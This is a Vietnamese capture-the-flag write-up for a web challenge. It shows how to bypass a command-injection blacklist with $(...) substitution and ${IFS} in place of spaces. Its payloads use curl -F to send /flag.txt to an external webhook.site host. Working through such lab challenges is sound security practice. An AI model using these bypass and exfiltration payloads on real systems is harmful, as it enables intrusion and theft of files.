Contents

CookieCTF - The Existed File

Contents

Description

Link challenge tại đây

Step

Đây là giao diện chính của challenge.

https://github.com/g03m0n/pics/assets/130943529/da3d77ee-89c3-48fb-b492-868b8baed039

Thử nhập /flag.txt vẫn không có thay đổi gì. Ta thử nhập cat /flag.txt xem có xem được flag không nhưng lại hiện ra thông báo Blacklist characters detected!.

https://github.com/g03m0n/pics/assets/130943529/3b6e0694-a1c4-47a4-97f3-2163278fa5ca

Kiểm tra soucre code có thể thấy luồng hoạt động của server.

https://github.com/g03m0n/pics/assets/130943529/80e29e56-dda0-42ea-aa1c-3a47baba3b2c

Đoạn code này loại bỏ khoảng trắng của input người dùng nhập vào. Nó sử dụng phương thức translate() của lớp string để thay thế tất cả các ký tự khoảng trắng bằng giá trị None. Sau đó sẽ sử dung hàm is_blacklisted để kiểm tra input có nằm trong blacklist hay không.

Có thể thấy blacklist đã loại bỏ hầu hết các câu lệnh giúp ta đọc được file flag, tuy nhiên anh dev có lẽ đã quên mất filter 1 cái nữa đó là $(command). Câu lệnh này tương đương với sử dụng dấu backstick.

https://github.com/g03m0n/pics/assets/130943529/cd5a4e34-18f7-4d02-9122-709f9bc537bb

Quay lại challenge thử chạy luôn nhưng nó vẫn không xuất được nội dung

https://github.com/g03m0n/pics/assets/130943529/0df9ad8d-c4c1-419a-a4ae-51a76ceead2f

Tới đây ta để ý blacklist không lọc lệnh curl nên ta có thể gửi file flag qua host khác để đọc bằng option -F. Ở đây mình sử dụng webhook.site để làm host nhận file.

Payload: curl -F @/flag.txt https://webhook.site/407cb1c3-4316-4cb8-8b9c-4ece7abf8d11

Nhưng vẫn còn hàm translate() loại bỏ khoảng trắng của input. Search gg một lúc thì mình tìm được cái này:

https://github.com/g03m0n/pics/assets/130943529/a38abfaf-f04e-45e5-90d2-6af3a2d0260a

Có thể sử dụng ${IFS} để thay thế các ký tự <space> <tab> <newline>.

Payload: $(curl${IFS}-F${IFS}file=@/flag.txt${IFS}https://webhook.site/407cb1c3-4316-4cb8-8b9c-4ece7abf8d11)

https://github.com/g03m0n/pics/assets/130943529/22580b80-a20d-4607-87a8-f875f0585a76

Tải file flag.txtvề ta được flag: CHH{os_c0mManD_INj3cTi0N_bypa5S_FIL7Er_b1f4b3371b6a365f47334d3ec07a8d0e}